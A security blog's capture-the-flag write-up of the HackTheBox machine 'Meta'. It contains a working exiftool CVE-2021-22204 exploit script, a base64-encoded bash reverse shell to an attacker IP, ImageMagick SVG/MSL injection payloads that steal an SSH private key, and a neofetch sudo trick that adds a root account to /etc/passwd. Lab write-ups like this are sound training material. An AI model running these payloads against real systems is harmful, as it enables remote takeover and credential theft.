HTB: Meta

Posted on 12 Jun 2022 in security • 4 min read

Meta card

This is a writeup about a retired HacktheBox machine: Meta publish on January 22, 2022 by Nauten. This box is rated as a medium machine. It implies subdomain enumeration, a vulnerability in exiftool, another on in ImageMagick and a too permissive sudo command.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.92 scan initiated Thu Jan 27 08:57:07 2022 as: nmap -sSV -p- -oN notes.md 10.129.169.248
Nmap scan report for 10.129.169.248
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 27 08:57:25 2022 -- 1 IP address (1 host up) scanned in 18.03 seconds

Web

The main website is a project page talking about a in progress development. We run a few enumeration tool (nikto ffuf) without finding anything interesting.

Meta homepage

We run wfuzz in order to enumerate subdomain without having to edit /etc/hosts/ for each of them and found the dev01 subdomain.

└─$ wfuzz -c -w subdomains-top1million-5000.txt --sc 200 -H "HOST:FUZZ.artcorp.htb" http://artcorp.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://artcorp.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001492:   200        9 L      24 W       247 Ch      "dev01 - dev01"

Total time: 8.590615
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 580.7500

dev01

The subdomain propose a tool to inspect images metadata.

dev01 homepage

There is a RCE vulnerability for exiftool: CVE-2021-22204

We write a quick script to automate the RCE and get the result:

import os
import sys
import requests

if len(sys.argv) !=2:
    print("usage: python3 l.py cmd")
    exit(0)

payload = "(metadata \"\c${system('"+sys.argv[1]+"')};\")"

f = open('payload', 'w')
f.write(payload)
f.close()

os.system("cp 0.jpg 1.jpg")
os.system('bzz payload payload.bzz')

os.system("djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz")


os.system("exiftool -config configfile '-HasselbladExif<=exploit.djvu' ./1.jpg")

files = {'imageUpload': open('1.jpg','rb')}
r = requests.post('http://dev01.artcorp.htb/metaview/index.php', files=files)

print(r.text[1442:-896])

os.popen("rm 1.jpg 1.jpg_original payload payload.bzz exploit.djvu")

Using this script and encoding the payload as base64 we can get a reverse shell on the box:

python3 l.py 'echo -n 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NC85MDAxIDA+JjEi' | base64 -d | bash'

User

We are the www-data user on the box. We run a few enumeration tools (linpeas) but nothing pop out. We run pspy to get the running process and found that the script /usr/local/bin/convert_images.sh is running periodically by the user with the UID 1000.

www-data@meta:/tmp$ ./pspy64
./pspy64
done
<SNIP>
2022/01/28 08:01:44 CMD: UID=33   PID=5978   | bash
2022/01/28 08:01:44 CMD: UID=33   PID=5975   | sh -c echo -n YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NC85MDAxIDA+JjEi | base64 -d | bash
2022/01/28 08:01:44 CMD: UID=33   PID=5974   | /usr/bin/perl -w /usr/local/bin/exiftool /var/www/dev01.artcorp.htb/metaview/uploads/phpnACkFs.jpg --system:all --exiftool:all -e
2022/01/28 08:01:44 CMD: UID=33   PID=5973   | sh -c exiftool '/var/www/dev01.artcorp.htb/metaview/uploads/phpnACkFs.jpg' --system:all --exiftool:all -e
<SNIP>
2022/01/28 08:02:01 CMD: UID=0    PID=18991  | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/01/28 08:02:01 CMD: UID=0    PID=18993  | /usr/sbin/CRON -f
2022/01/28 08:02:01 CMD: UID=0    PID=18994  | /usr/sbin/CRON -f
2022/01/28 08:02:01 CMD: UID=0    PID=18995  | /bin/sh -c rm /tmp/*
2022/01/28 08:02:01 CMD: UID=1000 PID=18996  | /bin/sh -c /usr/local/bin/convert_images.sh
2022/01/28 08:02:01 CMD: UID=1000 PID=18997  | /usr/local/bin/mogrify -format png *.*
2022/01/28 08:02:01 CMD: UID=1000 PID=18998  | pkill mogrify

Looking at the script we see that it convert images using mogrify which is part of ImageMagick.

www-data@meta:/var/www/dev01.artcorp.htb/metaview$ cat /usr/local/bin/convert_images.sh
<.htb/metaview$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

There is also a vulnerability on ImageMagick that allow for shell injection.

We write a new svg image that will echo the result of the id command in a file and wait for the cron to execute (note that we can also execute the command as www-data to validate the PoC).

<image authenticate='ff" `echo $(id)> /dev/shm/test`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:rce.svg" height="100" width="100"/>
  </svg>
</image>

As the file was written we use a payload that will give us access to thomas's private SSH key.

<image authenticate='ff" `cp /home/thomas/.ssh/id_rsa /dev/shm/; chmod 777 /dev/shm/id_rsa`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:rce2.svg" height="100" width="100"/>
  </svg>
</image>

We can then copy the key.

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /dev/shm/id_rsa
cat /dev/shm/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5
x7up3z5s/H/yujgjgroOOHh9zBBuiZ1Jn1jlveRM7H1VLbtY8k/rN9PFe/MkRsYdH45IvV
qMgzqmJPFAdxmkD9WRnVP9OqEF0ZEYwTFuFPUlNq5hSbNRucwXEXbW0Wk7xdXwe3OJk8hu
<SNIP>

And we connect as thomas on the box and grab the user flag.

ssh thomas@10.129.159.86 -i id_rsa
thomas@meta:~$ cat user.txt
34bdbba1436e176c3c13ceb0a045d740

Root

As usual we run our enumeration script and process and found out that our user can run /usr/bin/neofetch \"\" as root without password. Also the XDG_CONFIG_HOME environment variable is preserved.

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

We modify the neofetch configuration file and the image_source parameter to execute a command. The result of this command will be use as the neofetch logo. We just create a new user with a know password (see Armageddon article)

image_source="$(echo 'toto:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd)"

We export the configuration file, copy our local version of it (as it was regularly rewritten) and run the sudo command.

export XDG_CONFIG_HOME="/home/thomas/.config" && cp config.conf .config/neofetch/config.conf && sudo /usr/bin/neofetch \"\"

Then we can switch user as toto and get a root shell allowing to grab the root flag.

thomas@meta:~$ su toto
Password:
root@meta:/home/thomas# id
uid=0(root) gid=0(root) groups=0(root)
root@meta:/home/thomas# cd
root@meta:~# cat root.txt
40e95295043f27cd9f2c6e21561dbb6d

Wrapping up

A lot of enumeration and very specific vulnerability to exploit for this box. I really do not like subdomain enumeration on HTB :/ also, the ImageMagick exploit is not 100% reliable and I had to kill the box and initiate a new one (resetting the box was not enough)